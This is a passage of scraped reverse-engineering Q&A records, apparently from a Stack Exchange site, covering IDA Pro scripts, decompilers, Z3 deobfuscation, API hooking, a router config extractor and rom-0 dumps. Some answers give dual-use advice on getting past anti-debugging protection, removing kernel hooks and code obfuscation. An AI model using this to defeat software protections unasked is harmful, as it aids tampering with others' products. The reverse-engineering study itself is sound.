import re\nimport zlib\nimport struct\n\n\ndef extract_config_xml(config_bin):\n    config_xml = b''\n    for zlib_chunk in re.finditer('\\x78\\xda', config_bin):\n        zlib_chunk_start = zlib_chunk.start()\n        zlib_chunk_header = config_bin[zlib_chunk_start - 12: zlib_chunk_start]\n        xml_chunk_length, zlib_chunk_length, config_bin_length = \\\n            struct.unpack('>LLL', zlib_chunk_header)\n        if xml_chunk_length == 0x10000 or config_bin_length == 0:\n            zlib_chunk_end = zlib_chunk_start + zlib_chunk_length\n            zlib_chunk = config_bin[zlib_chunk_start: zlib_chunk_end]\n            xml_chunk = zlib.decompress(zlib_chunk)\n            assert xml_chunk_length == len(xml_chunk)\n            config_xml += xml_chunk\n    return config_xml\n\n\nwith open('config.bin', 'rb') as f:\n    print extract_config_xml(f.read())\n
\n" }, { "Id": "3594", "CreationDate": "2014-02-01T19:52:07.403", "Body": "

I have a 64 bit program im debugging. \nI found the function i need to learn more about to potentially \"fix\" the problem (there is no source code available for the program).

\n\n

To speed things up, i wanted to decompile and go over it in pseudocode as my assembler is still quite weak.\nHowever i did not find any working solutions that would work with x64.

\n\n

I am using only x64 windows platform so linux/mac solutions wont work (hopper is only 32 bit on windows).\nHex-rays is x86 as well.\nThere was ida-decompiler python scripts that i didn't get to work no matter what i did ( no output or pseudocode was generated).

\n\n

Is there any other solutions i could try that does support x64 and has pseudocode support?

\n", "Title": "64 bit Pseudocode decompiler", "Tags": "|tools|decompiler|x86-64|", "Answer": "

Meanwhile Hex Rays does have an x64 Decompiler (adding this answer for people reading now, at the time of Jason's answer the decompiler was not yet available), see the news page:

\n\n
\n

2014/06/04 The x64 decompiler has arrived!

\n
\n\n

And from the order page:

\n\n
\n

The Decompiler software is available for 5 platforms: x86, x64, ARM32,\n ARM64, and PowerPC. While x64, ARM64, and PowerPC decompilers can run\n only on top of IDA Pro, the x86 and ARM32 decompilers can run on top\n of both IDA Starter or IDA Pro

\n
\n" }, { "Id": "3596", "CreationDate": "2014-02-01T21:44:23.937", "Body": "

I use IDA Pro 6.1 to disassembly ELF file,\nwhich is compiled on 32 bit Linux, gcc 4.6.3

\n\n

I modified the code and try to make it reassemble, \nand I find a problem here(this is directly created by IDA Pro):

\n\n
main    proc near\n......\nmov     dword ptr [esp+4], offset msgid\n......\n......\nfoo     proc near\nmsgid   =  dword ptr -18d\n......\nmov     [esp+1Ch+msgid], 1\n\nsection .rodata\nmsgid           db 'extra operand %s',0\n
\n\n

So if I do some modify work and assembly it use nasm, it will produce this error:

\n\n
error: label or instruction expected at start of line \n
\n\n

targeting on this line:

\n\n
msgid           db 'extra operand %s',0\n
\n\n

If I modify it like this:

\n\n
main    proc near\n......\nmov     dword ptr [esp+4], offset msgid111\n......\n......\nfoo     proc near\nmsgid   =  dword ptr -18d\n......\nmov     [esp+1Ch+msgid], 1\n\nsection .rodata\nmsgid111           db 'extra operand %s',0\n
\n\n

Then no error in this part.

\n\n

So my questions are:

\n\n
    \n
  1. Why IDA Pro will use variable name as the macro name?
    2. \n
  2. Is there any better way to bypass this error than modify the variable name?
    3. \n
\n\n

Thank you!

\n", "Title": "Why IDA Pro will generate this kind of code(mess up macro name and variable name)?", "Tags": "|ida|disassembly|assembly|nasm|", "Answer": "
    \n

  1. IDA will use this variable name if you renamed it somehow.\nThis variable name is local for the function because it is a stack offset.

    2. \n

  2. There is no better way than name modification.\nYou can solve this specific kind of error by writing script that renames anything in .rodata section by applying g_ prefix to any object in it.

    3. \n
\n\n

The code will look like this:

\n\n
#Use carefully, I didn't check this code\n#beware errors\n\nimport idautils\nimport idc\n\nprefixes = {\".rodata\": \"g_ro_\",\n            \".data\": \"g_\"}\n\n#Passing over all non default names\nfor (ea, name) in idautils.Names():\n    seg_name = idc.SegName(ea)\n    # if the name is in required segment\n    if seg_name in prefixes:\n        if not name.startswith(prefixes[seg_name]):\n            # renaming it by adding required prefix\n            # if the prefix is not added yet\n            name = prefixes[seg_name] + name\n            idc.MakeName(ea, name)\n
\n" }, { "Id": "3597", "CreationDate": "2014-02-01T22:03:52.943", "Body": "

Test platform is Linux 32 bit.

\n\n

I use IDA Pro to disassembly the basename from coreutils 8.5\n compiled by gcc 4.6.3

\n\n

Here is a code snippet generated by IDA Pro

\n\n
           call    _i686_get_pc_thunk_bx                                 \n           add     ebx, 292Eh\n           sub     esp, 18h\n           mov     eax, ds:(__dso_handle_ptr - 804DFF4h[ebx]\n           test    eax, eax\n           jz      short loc_804B6F8\n           mov     eax, [eax]\n\n     loc_804B6DB:\n           mov     [esp+1Ch+var_14], eax\n           mov     eax, [esp+1Ch+arg_0]\n           mov     dword [esp+1Ch+var_18], 0\n           mov     [esp+1Ch+var_1C], eax\n           call    __cxa_atexit\n           add     esp, 18h\n           pop     ebx\n           retn\n\n     loc_804B6F8:\n           xor     eax, eax\n           jmp     short loc_804B6DB\n
\n\n

I don't understand this line:

\n\n
mov     eax, ds:(__dso_handle_ptr - 804DFF4h[ebx]\n
\n\n

and after searching the code, I can only find this:

\n\n
        __dso_handle    dd 0\n
\n\n

in the .data section.

\n\n

So my questions are:

\n\n
    \n
  1. What is the meaning of this line..? Is it like a version checking stuff..?
    2. \n
  2. Can I just safely remove this line without affecting the functionality of the code..?
    3. \n
\n", "Title": "What is the meaning of this code generated by IDA Pro?", "Tags": "|ida|disassembly|assembly|disassemblers|nasm|", "Answer": "

You are looking at binary that is compiled as position-independent code. The call _i686_get_pc_thunk_bx and the following addition to ebx shows just that. If you take a look at the disassembly, you'll see that the address of the add ebx, 292Eh plus 0x292E will result in the first address of the GOT. That why in the next line, _dso_handle_ptr is addressed in such a \"funny\" way.

\n\n

IDA however is nice enough to show you this in the disassembly as you would normally only see 0xSOMEADDR[ebx].

\n\n

In terms of the second question: that line retrieves a global variable, puts it into eax and then checks if it is zero or not. So, you should not just \"delete\" that line since then the test eax, eax would use some old value of eax (which I am sure you will not like all that much).

\n" }, { "Id": "3603", "CreationDate": "2014-02-02T15:07:21.333", "Body": "

test Platform is \n32 bit Linux ELF and 32 bit Windows PE.

\n\n

I use IDC script to extract all the functions from binary and dump \ninto a file, then do the analysis based on the examples in IDA Pro book.

\n\n

But I don't know how to extract .data .rodata and .bss\nsections from ELF file using IDC script.

\n\n

Currently I use IDA Pro to create a asm file, and use Python script to \ndo the string parser work, extracting .data .rodata and .bss\nsections from this asm file.

\n\n

Basically It works fine, but a really tedious modification work is required, \nand as my test base is relatively large(notepad++ and others..), I have to\nspend lots of time do modify work to correctly extract this three sections.

\n\n

My question is \"is there any idc script/idapython script can extract .data .rodata and .bss\nsections from ELF file?\" and any solutions on Windows are also welcomed.

\n\n

Thank you!

\n", "Title": "How to extract all the rodata data and bss section using IDC script in IDA Pro?", "Tags": "|ida|disassembly|ida-plugin|idapython|", "Answer": "

For the .bss section something like the following may work for you:

\n\n
import idaapi\nimport idc\n\nprint \"section .bss\"\nstart = idaapi.get_segm_by_name(\".bss\").startEA\nend = idaapi.get_segm_by_name(\".bss\").endEA\nitem = idc.NextHead(start - 1, end)\nwhile item != BADADDR:\n   next = idc.NextHead(item, end)\n   if next != BADADDR:\n      print \"%s: resb %d\" % (idc.Name(item), next - item)\n   else:\n      print \"%s: resb %d\" % (idc.Name(item), end - item)\n   item = next\n
\n\n

although in practice, NextHead does not seem to pick up anything named as unk_XXXX, so you may need to further iterate over the section to determine whether there are any cross references to an address to decide whether to associate a declaration with it.

\n\n

For the .data and .rodata sections you will need to change to db/dw/dd/... as appropriate and additionally dump the content of the related items. The challenge for items in these sections is to properly determine the size of each item and correctly choose db/dw/dd/... Dumping raw bytes with db may be the simplest approach here.

\n" }, { "Id": "3606", "CreationDate": "2014-02-02T17:57:00.803", "Body": "

I would like to know if there are efficient ways to simplify arithmetic formula expression over bit-vectors with Microsoft Z3. But, first, I would like to explain a bit the problem. Lets start with an example:

\n\n
x + y == (x ^ y) + 2 * (x & y)\n
\n\n

Both x + y and (x ^ y) + 2 * (x & y) are, in fact, coding the addition over bit-vectors. Of course, the right hand formula is used to confuse a reverser when found in the binary program. I try to find tools and techniques to simplify the obfuscated formula and find the simpler form of the formula (left-hand).

\n\n

For this, I looked at the Python interface of Z3, trying to see what I can get out of it. So, defining the obfuscated formula is done like this:

\n\n
>>> from z3 import *\n>>> x = BitVec('x', 32)\n>>> y = BitVec('y', 32)\n>>> fun1 = (x ^ y) + 2 * (x & y)\n
\n\n

Now, lets try to simplify this function with the help of the built-in function simplify:

\n\n
>>> simplify((x ^ y) + 2 * (x & y))\n(x ^ y) + 2*~(~x | ~y)\n
\n\n

Not really convincing... But, lets try to prove the equivalence with x + y:

\n\n
>>> prove((x ^ y) + 2 * (x & y) == x + y)\nproved\n>>> prove((x ^ y) + 2 * (x & y) == x - y)\ncounterexample\n[y = 2164268032, x = 2139094080]\n
\n\n

I added a negative result to show that it is also possible to disqualify a formula.

\n\n

So, if the simplify function is not really convincing, it is still possible to try, in a brute-force manner to compare the unknown formula with a list of simpler and usual formula one after one. But, this way seems extremely inefficient to me. I guess I am missing some smarter algorithms to simplify formula.

\n\n

I would like to know if there are some already existing tools or well-known techniques to perform in a more efficient manner than the brute-force approach. So, if someone has some hints or comments about this, it would be more than welcome.

\n", "Title": "How to efficiently simplify obfuscated formula in QF_BV logic with Z3?", "Tags": "|deobfuscation|", "Answer": "

Z3 is an SMT solver. Its job is to decide the satisfiability of formulas passed in by a user, where the formulas may mix terms from the various theories that Z3 supports. Coincidentally, in order to make its own job easier by producing a \"simpler\" formula than the one passed in by the user, it implements a simplifier which is not very sophisticated technologically and largely consists of term rewriting rules.

\n\n

Although the user could pose a query regarding the equivalence of two expressions, Z3's only involvement would be to solve the formula. I.e. Z3 will not generate candidates for you. It is your job as the user to provide the candidates and query an SMT solver as to their satisfiability.

\n\n

In general, synthesizing functions is a challenging task in program synthesis. These queries are naturally posed in second-order logic, but modern SMT solvers support only restrictions of first-order logic. To sidestep this problem, some published work takes the route of eliminating most candidates from consideration ahead of time, thereby keeping the number of equivalence queries small. See for example this paper or this one. Another approach is to specify a template describing what the candidate functions are allowed to look like; a simple example is this paper. These approaches keep the formula to first-order logic, or even quantifier-free.

\n\n

In general, you should research program synthesis.

\n" }, { "Id": "3617", "CreationDate": "2014-02-04T10:07:14.080", "Body": "

Is there any kind of software or research or paper which discusses replacement of frequent x86 instructions with ones which are less common and thus less understandable to the attacker (floating point/SSE/Virtualization/undocumented) while still maintaining the functionality?

\n\n

For example, I wan to replace this

\n\n
    PUSH EBP\n    MOV EBP,ESP\n    ...\n    PUSH DWORD [0x0BEE]\n    PUSH 3\n    CALL <check>\n    TEST EAX,EAX\n    JE <0xabcd>\n    PUSH <text1>\n    PUSH [EBP+5]\n    CALL <MessageBox>\n0xabcd:\n    PUSH <text2>\n    PUSH [EBP+5]\n    CALL <MessageBox>\n
\n\n

with this

\n\n
    AESKEYGENASSIST\n    VFMSUBADDPD\n    MOVLPS\n    PMADDUBSW\n    RET\n    FLDL2T\n    CMPXCHG8B\n    AESKEYGENASSIST\n    VFMSUBADDPD\n    MOVLPS\n    CMPXCHG8B\n    STOSW\n    VMLAUNCH\n    etc etc\n
\n\n

while still performing the same operation.

\n", "Title": "Replacing common x86 instructions with less known ones", "Tags": "|obfuscation|x86|", "Answer": "

I do not think code morphism is the or an answer to this question.

\n\n

What the question was about is obfuscating the algorithm implementation by using less common or undocumented assembly instructions. This can actually be done by some compilers when extensive optimizations are turned on. For example compilers like the Intel C Compiler, GCC, or PGI can autovectorize loops when matched to some internal patterns (reductions, matrix multiplications, ...) and when the target architecture supports vectorization. Other optimizations can lead to extremely tricky assembly code but still, it can always be reversed since the compiler performs no explicit obfuscation and because most of what the compiler does is pattern matching. Of course if you associate a high level pattern to a low level one, well, you lose the obfuscation and your code can easily be reversed. Thus techniques as the one you're looking for can only be performed by hand either by writing high level code using compiler intrinsics and alternative constructs or at the assembly level.

\n\n

If you are really interested in obfuscation techniques I recommend you going over Jan CAPPAERT's PhD thesis : https://www.cosic.esat.kuleuven.be/publications/thesis-199.pdf, it covers some nice techniques used not only on malware but on industrial software too. The bibliography is quite rich.\nYou can also check this talk given by Sean Taylor at Defcon on how to make the compiler do the obfuscation : https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf.

\n\n

About polymorphism, it is a nice obfuscation technique though it is rarely used in malware nowadays, and for many reasons. One of them is that few, if none, malware authors write code in assembly anymore, and most use frameworks and engines. You have to keep in mind that writing obfuscated assembly code is an art ... and that now it is used to harden the reverse engineering process for profit not for the challenge.

\n\n

I've been working on a GCC plugin that adds an optimization pass which performs code obfuscation on the IR - internal representation (GIMPLE) - of a code before applying another obfuscation pass at the assembly level. The interesting thing about this approach is that you have the CFG (Control Flow Graph) of the program at compile time, and you can apply many obfuscation algorithms and techniques in order to break it into other equivalent CFGs and then assess which suites best and use it throughout the remaining compilation phases.

\n\n

Hope my post helps.

\n" }, { "Id": "3621", "CreationDate": "2014-02-05T10:17:30.453", "Body": "

I have a OCX control which is loaded in Internet Explorer (used to show stream from IP camera). To see live video I have to properly connect to server etc. using methods of created object. The best idea will be to monitor which methods are called from IE. Is there any possibility to monitor these calls and parameters with for example plug-in for IE or some API monitor program?

\n\n

\"OCX\n\"Methods

\n", "Title": "OCX methods execution monitoring", "Tags": "|com|", "Answer": "

As 3asm_ suggested, it would be best to try API Monitor first.

\n\n

If that doesn't work, though, an alternative would be to attach to IE with a debugger and set logging breakpoints on the entrypoint of each method in the OCX. You can then see the order in which IE calls them and the arguments that are passed.

\n" }, { "Id": "3623", "CreationDate": "2014-02-05T11:46:52.193", "Body": "

I'm reversing an application written in C. I have a certain function that I want to log runtime, without pausing/stopping the application.

\n\n

My desired values of that function are:

\n\n\n\n

Then I want to read the buffer and write it into a file.

\n\n

First thing I was told to use is Immunity's LogBpHook, which worked great, but it stops the application and it becomes really slow due to this, because it's a frequently called function.

\n\n

Then I tried to setup FastLogHook which sounds more like what I'm after. It injects a log stub and stores encountered values, but as far as I know it can not perform further memory readings like the one I described above anyway (if it can please tell me). Also it constantly crashed my application so it's out of the question.

\n\n

So I left with the idea of injecting a customized code stub that would take care of further readings and logging of the values into a file. Is there any tool that could do this, or I have to manually write+inject this assembly?

\n\n

How can I log function parameters runtime, without stopping the application?

\n", "Title": "Runtime memory reading with injection", "Tags": "|assembly|memory|immunity-debugger|functions|callstack|", "Answer": "
    \n
  1. You can write your hooking library (DLL) which will patch the API you are targeting. This patch will just print to file/console the parameters and continue back to the original function. There will be no stops on the way. To actually hook the APIs you will need to inject the DLL into the target application. You can use Detours from Microsoft as and example which is a software package for re-routing Win32 APIs underneath applications.\n
      \n
    1. API hooking revealed - an article on CodeProject with examples. But you can find on the net endless examples for this technique.
      2. \n
    2. API Hooking with MS Detours
      3. \n
    2. \n
  2. API Monitor - API Monitor is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.
    3. \n
  3. Process instrumentation - instrumentation refers to an ability to monitor or measure the level of a product's performance, to diagnose errors and to write trace information.\n
      \n
    1. Pin is a platform for creating analysis tools - A pin tool comprises instrumentation, analysis and callback routines. Here you can find an intro to writing pintool which you can extend to your needs. This is pretty powerful technique and more hard to adapt among all that I've listed here. The original site from Intel and specifically at Finding the Value of Function Arguments can help you with what you are looking for.
      2. \n
    4. \n
\n" }, { "Id": "3634", "CreationDate": "2014-02-07T00:50:10.930", "Body": "

In my IDC script I open a log file, do some analysis, write in the file and close the file like this:

\n\n
main(){\nopen_log();\ndo_analysis();\nclose_log();\n}\n
\n\n

Currently I am using this script on command line, and I am trying to close the GUI after analysis(or be more exact, don't not open GUI while analyzing)

\n\n

Here is command line I use:

\n\n
\"z:\\ida6.1\\idaq.exe -A -SfunctionEnumeration.idc z:\\Linux\\targetfile\"\n
\n\n

I modified my script like this:

\n\n
main(){\nopen_log();\ndo_analysis();\nclose_log();\n\nWait();\nExit(0);\n}\n
\n\n

Currently it will generate the log file, but no content in it..

\n\n

It seems that IDA Pro is closed before the write operation(or close operation)\non the log file, but I don't understand why because Wait() is called in my script...

\n\n

I read the IDC manual and haven't find anything useful...

\n\n

Could anyone give me some help? Thank you!

\n", "Title": "Why the Wait() in idc script can not work on IDA Pro?", "Tags": "|ida|", "Answer": "

Try

\n\n
main(){\nWait();\nopen_log();\ndo_analysis();\nclose_log();\nExit(0);\n}\n
\n" }, { "Id": "3639", "CreationDate": "2014-02-07T14:22:53.713", "Body": "

Given a breakpoint at an expression MOV EDI, EAX, how can you automatically log/write to file the referenced string whenever the breakpoint is hit?

\n", "Title": "OllyDbg: Automatically extract string when breakpoint is hit", "Tags": "|ollydbg|debuggers|", "Answer": "

in odbg version 1.10\nthat will only log eax not the string
\nin the expression box put either STRING [EAX] or UNICODE [eax] as the case may be
\nor with plain eax select pointer to ascii or unicode string in decode expression as dropdown box to log strings

\n\n

Log data, item 0\n Message=eax = 1001590 [eax] = 74636868 string [eax] = hhctrl.ocx unicode [eax] =

\n\n

odbg 210 will decode expression automatically

\n\n
01012475  INT3: plain eax = 1001590 ASCII \"hhctrl.ocx\"\n                dword ptr eax = 74636868 (1952671848.)\n                ascii string ptr eax = hhctrl.ocx\n
\n" }, { "Id": "3642", "CreationDate": "2014-02-07T21:14:43.947", "Body": "

Analysing a bootmanager : I'm trying to track all variables which are only read from, and not written to... which will give me the external variables it uses...

\n\n

Is there any such functionality in IDA pro free? Can I write a plugin for it in the free version? Any other options for this purpose? Any other tool which can do this?

\n", "Title": "How to find memory addresses which are read from but not written to", "Tags": "|ida|disassembly|static-analysis|memory|", "Answer": "

Since you are only interested in variables that are read from, not written to, I'll assume you're talking about global variables since it makes no sense to have a local variable that's never written to.

\n\n

You can write an IDC script to iterate through each global variable and use RfirstB, RnextB, and XrefType to determine which global variables are read from, written to, or both.

\n" }, { "Id": "3649", "CreationDate": "2014-02-08T18:12:38.997", "Body": "

I want to run an OllyDbg and attach it to some starting later process.

\n\n

But the problem is, that process is very aggressive: it kills OllyDbg on start, and I also can't run OllyDbg later because that process then crashes with some invective message written in some moonspeak language (there are symbols that can be read, and they tell something about 'antihack.dll', for which, though, I don't found any reference to using Dependency walker and Pe Explorer).

\n\n

So, is there any way how to prevent this aggressive process from killing any working app and connect it somehow to OllyDbg?

\n\n

P.S. Now is some crazy stuff going on.\nEven if rum without debugger in background process fails after some time with an memory access error (and I even replaced an .exe with the original one in case of some arbitrary overwrites).

\n", "Title": "How to prevent application from killing OllyDbg", "Tags": "|ollydbg|anti-debugging|", "Answer": "

What is the target program? Is it known to have an antihack? (If so, who makes it?) Are you on a 32-bit or 64-bit OS?

\n\n

Use GMER/EnumDeviceDrivers()/etc and check for drivers that \"antihack.dll\" might be loading. If there is a driver, load its binary into IDA and start reversing, and if you're on 32-bit grab an anti-rootkit program (GMER, kernel detective, XueTr) and remove their hooks.

\n\n
\n

\"they tell something about 'antihack.dll', for which, though, I don't\n found any reference to using Dependency walker and Pe Explorer\"

\n
\n\n

Maybe the antihack.dll is loaded into a seperate process? Try monitoring process creation or just use taskmanager and see if there's a seperate process that is killing your Olly. Alternatively, it could just be a delayed LoadLibrary call. Also, the program might be injecting antihack.dll into your process instead of loading it (unlikely in this case).

\n\n

If you're on a 32-bit OS, PhantOm with driver enabled should be enough to protect your Olly. If it isn't, try looking for other plugins that hide Olly. On a 64-bit OS, you would need to write your own driver, though with PatchGuard around even that will probably not be enough since they could be detecting your Olly by its window names/positions/hierarchy.

\n\n

If you want to attach to a program with an antihack feature you would preferably partially or completely disable the antihack first. Stealthing an invasive debugger to get it to attach to an already running protected process is not a nice approach. Start with static analysis in IDA, find a way to start the program in Olly and debug the startup process, or start with less invasive dynamic analysis (Cheat Engine).

\n" }, { "Id": "3654", "CreationDate": "2014-02-10T11:07:34.727", "Body": "

I'm trying to use IDA Pro v6.5 (freeware) (demo) to decompile an objective-c library compiled for ARM7-7S. I tried Hopper v2.8.8 (freeware) with no success.

\nI had no problem until I tried to display a pseudocode. In fact, I can't find the option for that as you can see on this screenshot : \"enter
\nI believe to know that I can do it because IDA should support ARM decompilation... So my question is : How to decompile an objective-c library ? Or, Am I missing something ?

\n", "Title": "How to decompile an Objective-C static library (for iOS)?", "Tags": "|ida|decompilation|arm|", "Answer": "

I do mainly refer to the first answer and add:

\n\n

Retargetable Decompiler is indeed working fine, tested it with ARM Binarys. It's only anvailable online.

\n\n

SmartDec has moved to a new site: http://decompilation.info/ but is not currently able of decompiling ARM Platform.

\n" }, { "Id": "3658", "CreationDate": "2014-02-10T22:12:24.690", "Body": "

I am using ollydbg and a Hex editor. I confirmed that once the application is edited in any way it behaves different than normal.

\n\n

My first thought was that the file is checking the checksum value so I looked at the intermodular calls in olly and did not see anything about checksum. I was specifically looking for MapFileAndCheckSum

\n\n

But I am trying to reason this out, I am thinking that a checksum value has to be hard coded in the file so it can be compared to the actual checksum. So I am wondering from the developers point of view how is it possible to get the checksum value to be hard code when the application is not complete/compiled

\n\n

Which brings me to the question. What ways is there for an application to detect that it has been modified?

\n\n

------- EDIT ------- Additional Information ------

\n\n

I have been doing some testing and I have to say I'm baffled as to where the checksum value is being stored.

\n\n
    \n
  1. There are no connections to the internet.
    2. \n
  2. Only one dll comes with the application (I extracted the installer files manually) the dll file is old and was last modified prior to the application. I even compared it to an earlier version of the application that did not have this checksum check and the dll is identical.
    3. \n
  3. I taught that maybe the checksum value would be entered in the registry by the installer so I extracted the .exe and .dll to a separate computer that has never used the installer. Changes are still being detected!
    4. \n
  4. It is definitely a checksum test, as I have changed a single byte of padding by from 00 to 20 and the change is detected. If I edit back to 00 to application performs normally.
    5. \n
\n\n

So now I am wondering would it be possible to calculate what the checksum is going to be before entering the hard coded checksum value? I do realize that the actual checksum value will change when changing the hard coded checksum value. I want to know if there is any method to predetermine a checksum value when hard coding and finding a match. Seems impossible but I cannot think of any other means considering the situation.

\n", "Title": "What ways is there for an application to detect that it has been modified?", "Tags": "|ollydbg|hex|", "Answer": "

MapFileChecksum is used to calculate the checksum of the executable that's stored in the IMAGE_OPTIONAL_HEADER structure using Microsoft's custom checksum. It's usually used to re-calculate the checksum value once the executable has been modified, since the windows kernel checks the checksum before it loads drivers and system files. But in case of your application, the application might be using any kind of checksum (crc32, adler, e.t.c.) or might even be using hash functions. So just breaking on MapFileChecksum might not be enough. Since it has to read it's own binary to calculate the checksum/hash, break on the file manipulation functions and go from there.

\n" }, { "Id": "3662", "CreationDate": "2014-02-11T05:15:27.283", "Body": "

So I have this rom-0 file from Zyxel router P-660HW-T3 v3 and I would like to decompress it, I tried many tools, one of them you can find here the tool using lzs for decompression which works for some rom-0 files (smaller ones around 16 kB), but on mine it does not, mine has around 50 kB and has few differences.Here is \"normal\" file

\n\n
\n00000000  01 01 00 01 19 48 64 62  67 61 72 65 61 00 00 00  |.....Hdbgarea...|\n00000010  00 00 00 00 18 00 00 00  01 48 00 00 00 00 00 00  |.........H......|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000160  00 00 00 00 00 00 00 00  52 ca c0 ea de ad be af  |........R.......|\n00000170  00 00 00 0e 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000180  05 03 00 ad 52 c9 a4 e5  80 46 e7 50 ff ff a1 f4  |....R....F.P....|\n00000190  00 00 00 19 00 00 00 00  05 03 00 d4 52 c9 a4 e5  |............R...|\n000001a0  80 46 e7 50 ff ff 9e 08  00 00 00 64 80 09 89 ac  |.F.P.......d....|\n000001b0  04 03 00 d5 52 c9 bb 21  80 46 eb b8 ff ff a2 30  |....R..!.F.....0|\n000001c0  00 09 3a c9 00 00 00 00  04 03 00 d6 52 c9 bb 21  |..:.........R..!|\n000001d0  80 46 eb b8 ff ff a2 2f  00 09 3a c9 00 00 00 00  |.F...../..:.....|\n000001e0  04 03 00 d7 52 c9 ba 49  80 46 eb b8 ff ff a2 35  |....R..I.F.....5|\n000001f0  52 c9 ba 49 00 00 00 00  04 03 00 d8 52 c9 ba 49  |R..I........R..I|\n
\n\n

and\n

\n00000410  80 46 e7 50 ff ff 9e 08  00 00 00 64 80 09 8b 3c  |.F.P.......d...<|\n00000420  55 55 55 55 00 00 00 00  00 00 00 00 00 00 00 00  |UUUU............|\n00000430  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000006d0  00 00 00 00 55 55 55 55  00 00 00 00 80 41 00 00  |....UUUU.....A..|\n000006e0  00 00 00 00 00 00 00 0e  00 00 00 00 00 00 00 01  |................|\n000006f0  00 00 00 00 ff ff ff fe  00 00 ff 14 00 00 00 01  |................|\n00000700  00 00 00 30 00 00 00 01  80 45 cc f0 00 00 00 01  |...0.....E......|\n00000710  00 00 00 01 00 00 00 63  80 41 4c 78 00 00 00 01  |.......c.ALx....|\n
\nand\n
\n00002000  02 94 00 03 1f fc 62 6f  6f 74 00 00 00 00 00 00  |......boot......|\n00002010  00 00 00 00 00 20 00 0c  01 48 73 70 74 2e 64 61  |..... ...Hspt.da|\n00002020  74 00 00 00 00 00 00 00  1a b0 13 52 01 68 61 75  |t..........R.hau|\n00002030  74 6f 65 78 65 63 2e 6e  65 74 00 00 01 f4 01 dc  |toexec.net......|\n00002040  1c 18 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00002050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n
\nHere is mine \n
\n00000000  01 01 00 01 00 00 19 48  64 62 67 61 72 65 61 00  |.......Hdbgarea.|\n00000010  00 00 00 00 00 00 00 00  18 00 00 00 00 00 00 00  |................|\n00000020  01 48 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |.H..............|\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000150  00 00 00 00 00 00 00 05  00 00 00 01 00 00 00 02  |................|\n00000160  00 00 00 03 00 00 00 01  00 00 00 00 de ad be af  |................|\n00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000180  03 03 00 30 38 6d 46 1a  00 00 00 18 ff ff a1 f4  |...08mF.........|\n00000190  00 00 00 01 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n000001b0  00 00 00 00 00 00 00 00  05 03 00 5c 38 6d 46 1a  |...........\\8mF.|\n000001c0  00 00 00 18 ff ff 9e 08  00 00 00 64 80 09 e0 5c  |...........d...\\|\n000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000001f0  05 03 00 32 38 6d 46 2a  00 00 00 20 ff ff a1 f4  |...28mF*... ....|\n00000200  00 00 00 03 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000220  00 00 00 00 00 00 00 00  04 03 00 5d 38 6d 46 2a  |...........]8mF*|\n00000230  00 00 00 20 ff ff a2 29  00 00 00 00 00 00 00 00  |... ...)........|\n00000240  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n

\n\n

\n00000ea0  04 03 00 2e 38 6d 45 ee  00 00 00 20 ff ff a1 f4  |....8mE.... ....|\n00000eb0  00 00 00 0b 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000ec0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000ed0  00 00 00 00 00 00 00 00  04 03 00 59 38 6d 45 ee  |...........Y8mE.|\n00000ee0  00 00 00 20 ff ff a2 33  00 00 00 00 00 00 00 00  |... ...3........|\n00000ef0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000f10  04 03 00 5a 38 6d 45 ee  00 00 00 20 ff ff a2 2e  |...Z8mE.... ....|\n00000f20  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000f40  00 00 00 00 00 00 00 00  03 03 00 5b 38 6d 45 f7  |...........[8mE.|\n00000f50  00 00 00 15 ff ff a5 fc  ff ff f4 47 80 9a e2 98  |...........G....|\n00000f60  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000f80  55 55 55 55 00 00 00 00  00 00 00 00 00 00 00 00  |UUUU............|\n00000f90  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00001b90  00 00 00 00 55 55 55 55  00 00 00 00 ff ff ff ff  |....UUUU........|\n00001ba0  00 00 00 02 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n

\n\n

\n00001fd0  80 7a 00 00 bf c0 5f 90  80 66 00 00 00 00 00 00  |.z...._..f......|\n00001fe0  80 5e 05 b4 80 40 11 c8  00 00 00 00 00 00 00 00  |.^...@..........|\n00001ff0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00002000  02 c8 00 03 00 00 9f fc  62 6f 6f 74 00 00 00 00  |........boot....|\n00002010  00 00 00 00 00 00 00 00  00 20 00 00 00 0c 00 00  |......... ......|\n00002020  01 48 73 70 74 2e 64 61  74 00 00 00 00 00 00 00  |.Hspt.dat.......|\n00002030  00 00 9a b0 00 00 3f 6c  00 00 01 68 61 75 74 6f  |......?l...hauto|\n00002040  65 78 65 63 2e 6e 65 74  00 00 00 00 01 f4 00 00  |exec.net........|\n00002050  01 52 00 00 9c 18 00 00  00 00 00 00 00 00 00 00  |.R..............|\n00002060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n

\n\n

\n\n

\n\n

I separated some parts of the files as u may see above, so what Binwalk says on \"normal\" file

\n\n
